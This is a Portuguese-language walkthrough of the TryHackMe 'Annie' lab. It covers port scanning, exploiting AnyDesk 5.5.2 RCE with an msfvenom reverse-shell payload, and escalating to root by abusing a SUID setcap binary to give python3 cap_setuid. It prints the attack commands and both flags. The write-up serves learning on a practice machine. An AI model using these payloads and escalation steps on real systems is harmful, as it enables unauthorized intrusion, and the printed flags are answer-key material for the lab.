Annie
O acesso remoto vem em diferentes sabores. Outra sala gratuita Try Hack Me, esta é classificada com dificuldade média.
A primeira coisa que tento é ver se há alguma resposta pela web. Sem resposta pela porta 80. Ok, eu ia rodar o nmap de qualquer jeito.
w1zard in try-hack-me/rooms/annie
nmap -Pn -p- -oA nmap-fullports-annie 10.10.92.77
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-11 17:35 -03
Nmap scan report for 10.10.92.77
Host is up (0.35s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
7070/tcp open realserver
43353/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 1082.16 seconds
Certo, podemos executar a verificação de script padrão junto com a detecção de serviço/versão.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 72d72534e807b7d96fbad6981aa317db (RSA)
| 256 721026ce5c53084b6183f87ad19e9b86 (ECDSA)
|_ 256 d10e6da84e8e20ce1f0032c1448dfe4e (ED25519)
7070/tcp open ssl/realserver?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=AnyDesk Client
| Not valid before: 2022-03-23T20:04:30
|_Not valid after: 2072-03-10T20:04:30
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Eu meio que queria um número de versão, mas vamos trabalhar com o que temos em mãos. Vou procurar uns exploits.
w1zard in try-hack-me/rooms/annie
searchsploit anydesk
----------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------- ---------------------------------
AnyDesk 2.5.0 - Unquoted Service Path Privilege Escalation | windows/local/40410.txt
AnyDesk 5.4.0 - Unquoted Service Path | windows/local/47883.txt
AnyDesk 5.5.2 - Remote Code Execution | linux/remote/49613.py
----------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Indo direto para o RCE.
w1zard in try-hack-me/rooms/annie
searchsploit -m 49613
Exploit: AnyDesk 5.5.2 - Remote Code Execution
URL: https://www.exploit-db.com/exploits/49613
Path: /usr/share/exploitdb/exploits/linux/remote/49613.py
Codes: CVE-2020-13160
Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/w1zard/Documents/labs/try-hack-me/rooms/annie/49613.py
Uma olhada no código e, opa, ótimo, tem um link para um walkthrough. Só preciso alterar o IP de destino, a porta e criar um payload shellcode usando o MSVenom.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.y.y LPORT=4444 -b "\x00\x25\x26" -f python -v shellcode
Shellcode vai no exploit, e o exploit não faz nada. Tentei executar o exploit algumas vezes, pensei que a máquina estava instável e reiniciei. Executei o exploit mais algumas vezes, nada. Deu ruim. Não mudo absolutamente nada, executei o exploit mais algumas vezes…
connect to [10.13.3.36] from (UNKNOWN) [10.10.128.217] 45640
Não tem lógica, basta repetir a mesma coisa e talvez você obtenha um resultado diferente.
python3 -c 'import pty;pty.spawn("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
annie@desktop:/home/annie$ cat user.txt
cat user.txt
THM{N0t_Ju5t_ANY_D3sk}
Agora, para a escalada de privilégios, a maneira que encontrei foi por meio de arquivos do root
.
find / -perm -4000 -type f -exec ls -al {} 2>/dev/null \;
annie@desktop:/home/annie$ find / -perm -4000 -type f -exec ls -al {} 2>/dev/null \;
< -perm -4000 -type f -exec ls -al {} 2>/dev/null \;
-rwsr-xr-x 1 root root 10232 Nov 16 2017 /sbin/setcap
-rwsr-xr-x 1 root root 43088 Sep 16 2020 /bin/mount
-rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping
-rwsr-xr-x 1 root root 44664 Jan 25 2022 /bin/su
-rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
-rwsr-xr-x 1 root root 26696 Sep 16 2020 /bin/umount
-rwsr-xr-- 1 root dip 378600 Jul 23 2020 /usr/sbin/pppd
-rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 436552 Mar 2 2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 14328 Jan 12 2022 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-sr-x 1 root root 10232 Dec 14 2021 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-- 1 root messagebus 42992 Jun 11 2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 22528 Jun 28 2019 /usr/bin/arping
-rwsr-xr-x 1 root root 40344 Jan 25 2022 /usr/bin/newgrp
-rwsr-xr-x 1 root root 149080 Jan 19 2021 /usr/bin/sudo
-rwsr-xr-x 1 root root 18448 Jun 28 2019 /usr/bin/traceroute6.iputils
-rwsr-xr-x 1 root root 76496 Jan 25 2022 /usr/bin/chfn
-rwsr-xr-x 1 root root 75824 Jan 25 2022 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 44528 Jan 25 2022 /usr/bin/chsh
-rwsr-xr-x 1 root root 59640 Jan 25 2022 /usr/bin/passwd
-rwsr-xr-x 1 root root 22520 Jan 12 2022 /usr/bin/pkexec
setcap
está destacado da lista. Deixe-me dar uma olhada nisso.
Ok, você pode forçar capacidades em programas usando setcap
e elas podem ser exploradas passando-lhes comandos ou argumentos maliciosos que são então executados como root
. Obrigado HackTricks.
annie@desktop:/home/annie$ which python3
which python3
/usr/bin/python3
annie@desktop:/home/annie$ cp /usr/bin/python3 .
cp /usr/bin/python3 .
annie@desktop:/home/annie$ /sbin/setcap cap_setuid+ep /home/annie/python3
/sbin/setcap cap_setuid+ep /home/annie/python3
annie@desktop:/home/annie$ ./python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
<c 'import os; os.setuid(0); os.system("/bin/bash")'
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@desktop:/home/annie# cat /root/root.txt
cat /root/root.txt
THM{0nly_th3m_5.5.2_D3sk}